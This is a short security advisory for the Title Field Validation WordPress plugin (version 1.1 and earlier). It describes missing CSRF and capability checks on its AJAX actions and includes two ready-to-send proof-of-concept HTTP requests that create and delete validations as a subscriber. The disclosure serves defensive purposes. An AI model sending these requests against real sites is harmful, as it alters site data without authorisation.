Title Field Validation <= 1.1 – Unauthorised AJAX Calls

Description

The plugin does not properly check for CSRF in its find_post_type, save_validation, edit_validation, update_validation and delete_validation AJAX actions. Additionally, the actions were also missing any capability checks. As a result, any authenticated user (such as subscriber) could call them to create, edit delete validations

Proof of Concept

To create a validation

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 124
Connection: close
Cookie: [any authenticated user]

action=save_validation&tfv_post_type=post&tfv_title_label=Attacker2&tfv_title_error=aa&tfv_content_label=&tfv_content_error=


To delete a validation

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 29
Connection: close
Cookie: [any authenticated user]

action=delete_validation&id=2